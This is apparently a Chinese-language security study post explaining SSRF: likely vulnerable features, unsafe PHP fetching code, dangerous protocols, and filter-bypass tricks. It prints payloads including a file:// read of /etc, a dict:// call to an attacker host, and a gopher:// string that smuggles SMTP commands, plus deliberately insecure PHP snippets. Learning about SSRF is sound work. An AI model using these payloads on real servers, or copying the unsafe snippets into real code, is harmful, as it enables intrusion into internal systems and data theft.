zl程序教程

您现在的位置是:首页 >  工具

当前栏目

【每天学习一点新知识】今天谈谈SSRF

学习 知识 今天 每天 谈谈 一点 SSRF
2023-09-27 14:28:04 时间

目录

可能出现SSRF的地方:

SSRF相关函数

SSRF 的危险协议

常用绕过方式


SSRF (Server-Side Request Forgery) 即服务端请求伪造,从字面意思上理解就是伪造一个服务端请求,也即是说攻击者伪造服务端的请求发起攻击,攻击者不能直接访问目标服务,借由服务端为跳板来攻击目标系统。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

ssrf攻击:

1:内外网的端口和服务扫描

2:主机本地敏感数据的读取,利用file、gopher、dict协议读取本地文件、执行命令等

3: DOS攻击,请求大量文件,始终保持连接Keep-Alive Always

4:攻击内网的web应用,例如直接SQL注入、XSS攻击等(mysql默认不允许外部访问,但对于本地没有防护)

 CSRF和SSRF的区别:

CSRF是跨站请求伪造攻击,由客户端发起

SSRF是服务器端请求伪造,由服务器发起

可能出现SSRF的地方:

1.社交分享功能:通过url参数的获取来实现点击链接的时候跳到指定的分享文章

例如:http://share.xxx.com/index.php?url=http://127.0.0.1

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片(远程加载头像……)

例如:http://image.xxx.com/image.php?image=http://127.0.0.1

5.图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验

http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

13.一切要你输入网址的地方和可以输入ip的地方

SSRF相关函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞。

注意:

  1. 一般情况下PHP不会开启fopen的gopher wrapper
  2. file_get_contents的gopher协议不能URL编码
  3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
  4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
  5. curl_exec() //默认不跟踪跳转
  6. file_get_contents() // file_get_contents支持php://input协议

file_get_contents()

file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

fsockopen()

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

curl_exec()

curl_exec函数用于执行指定的cURL会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

SSRF 的危险协议

(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容

file:// 之后可以接任意文件

http://ip/index.php?url=file:///etc/password


(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

dict://ip/info可获取本地redis服务配置信息。


(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell


(4)http/s:探测内网主机存活

常用绕过方式

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:

限制为http://www.xxx.com 域名时(利用@)

URL的完整格式是

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

所以你访问

<a href=”http://baidu.com@1.1.1.1″”>http://baidu.com@1.1.1.1 

http://1.1.1.1

是一样的效果 

可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

限制请求IP不为内网地址
1:采用短网址绕过,比如百度短地址https://dwz.cn/
2:利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

127.0.0.1.xip.io,可解析为127.0.0.1

xip.name 在使用上与xip.io一致 

3:采用进制转换,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433 

限制请求只为http协议

采用302跳转,百度短地址,或者使用https://tinyurl.com生成302跳转地址。

利用[::]

可以利用[::]来绕过localhost

 http://[::]:80/  >>>  http://127.0.0.1

利用句号 

127。0。0。1  >>>  127.0.0.1 

利用特殊地址

http://0/ 

利用协议

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
 

利用上传 

修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

这个大佬的博客实在是太细了!

细说——SSRF_lainwith的博客-CSDN博客_ssrf协议目录什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图SSRF相关函数和协议函数file_get_contents()fsockopen()curl_exec()协议漏洞检测常用绕过方式限制为http://www.xxx.com 域名时(利用@)限制请求IP不为内网地址限制请求只为http协议利用[::]利用句号利用特殊地址利用协议利用上传利用Enclosed alphanumerics靶机演示CTFhub内网访问伪协议读取文件端口扫描其他SSRF打穿内网SSRF-lab漏洞防御参考什么是Shttps://blog.csdn.net/weixin_44288604/article/details/120710499